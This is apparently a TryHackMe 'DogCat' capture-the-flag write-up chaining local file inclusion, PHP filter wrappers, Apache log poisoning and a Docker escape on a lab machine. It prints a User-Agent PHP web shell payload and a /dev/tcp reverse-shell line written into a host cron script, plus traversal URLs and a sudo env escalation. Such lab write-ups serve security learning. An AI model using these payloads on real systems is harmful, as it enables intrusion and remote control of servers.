TryHackMe | DogCat
DogCat is a medium-rated TryHackMe room built around a PHP web application that lets you browse pictures of dogs and cats.
The vulnerability chain covers local file inclusion, using PHP filter wrappers to read application source code, Apache log poisoning to turn the LFI into remote code execution, and finally escaping a Docker container via a writable cron script.
I needed walkthroughs at a couple of points on this one, particularly around the log poisoning step, but it was a great room for building a solid understanding of how LFI can be escalated beyond just reading files.
Reconnaissance
Port Scanning
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu
80/tcp open http Apache httpd 2.4.38A straightforward setup. The interesting work is all on port 80.
Directory Scanning
/cat.php (Status: 200)
/cats (Status: 301)
/flag.php (Status: 200)
/index.php (Status: 200)flag.php is visible in the scan results but returns a blank page without the right context. index.php is where the action is.
Discovering the LFI
The site lets you switch between dogs and cats via a view parameter in the URL:
http://10.10.61.62/index.php?view=dog
http://10.10.61.62/index.php?view=catTesting path traversal produces a PHP error that confirms a file inclusion is happening:
http://10.10.61.62/index.php?view=dog/../../
Warning: include(dog/../../.php): failed to open stream: No such file or directory
in /var/www/html/index.php on line 24Two things are visible in the error. First, the application is calling PHP include() on the view parameter value. Second, it is automatically appending .php to whatever is passed in, which limits what files can be read directly.
Reading Source Code via PHP Filter Wrapper
To understand exactly what the application is doing, we can use a PHP filter wrapper to base64-encode the source of index.php and retrieve it through the LFI, bypassing the .php extension check in the process:
/?view=php://filter/convert.base64-encode/resource=./dog/../indexDecoding the response reveals the full source:
<?php
function containsStr($str, $substr) {
return strpos($str, $substr) !== false;
}
$ext = isset($_GET["ext"]) ? $_GET["ext"] : '.php';
if(isset($_GET['view'])) {
if(containsStr($_GET['view'], 'dog') || containsStr($_GET['view'], 'cat')) {
echo 'Here you go!';
include $_GET['view'] . $ext;
} else {
echo 'Sorry, only dogs or cats are allowed.';
}
}
?>The source reveals two things. The view parameter must contain the string dog or cat to pass the check, but the ext parameter controls the file extension being appended. If ext is supplied in the URL, the .php default is skipped entirely. This means we can include arbitrary files as long as the path contains dog or cat somewhere.
Log Poisoning
With arbitrary file inclusion available, the next step is to read the Apache access log:
/?view=dog/../../../../../../../var/log/apache2/access.log&extThe log is readable and shows our own requests reflected back, including the User-Agent string. Since the log contents are being passed to PHP include(), any PHP code written into the log will be executed when the log is next included.
Using Burp Suite, we modify the User-Agent header on a request to inject a simple PHP web shell:
User-Agent: <?php system($_GET['cmd']); ?>After sending that request, the PHP code is written into the log. Any subsequent inclusion of the log file now executes whatever is passed in the cmd parameter:
/?view=dog/../../../../../../../var/log/apache2/access.log&ext&cmd=iduid=33(www-data) gid=33(www-data) groups=33(www-data)We have remote code execution. From here we use curl to download a reverse shell script onto the server and execute it via the cmd parameter to get a proper interactive shell.
Privilege Escalation to Root
Checking sudo permissions for the www-data user:
www-data@dogcat:/$ sudo -l
User www-data may run the following commands:
(root) NOPASSWD: /usr/bin/env/usr/bin/env can be run as root with no password. This is a well-known GTFOBins entry:
sudo /usr/bin/env /bin/sh# whoami
rootFlags 1 through 3 are readable from here.
Docker Container Escape
Looking around the filesystem, a .dockerenv file in the root directory confirms we are inside a Docker container rather than on the host machine. The host itself is still out of reach.
Searching for writable scripts that might be executed by the host:
/opt/backups/backup.shThis script is mounted in from the host machine and runs as a cron job with root privileges on the host. We can write to it from inside the container:
#!/bin/bash
bash -i >& /dev/tcp/10.10.10.10/4444 0>&1After a short wait the cron job fires on the host, connecting back with a root shell outside the container. Flag 4 is waiting on the host filesystem.
Summary
DogCat is a good room for understanding how LFI vulnerabilities can be chained into full remote code execution. Reading the source code via PHP filter wrappers is a technique worth remembering as it works reliably wherever LFI exists and PHP is running. The log poisoning step in particular drives home why user-controlled input should never make it into a file that is later included or executed. The container escape via a host-mounted writable cron script is a neat finishing touch and a realistic misconfiguration to watch for in containerised environments.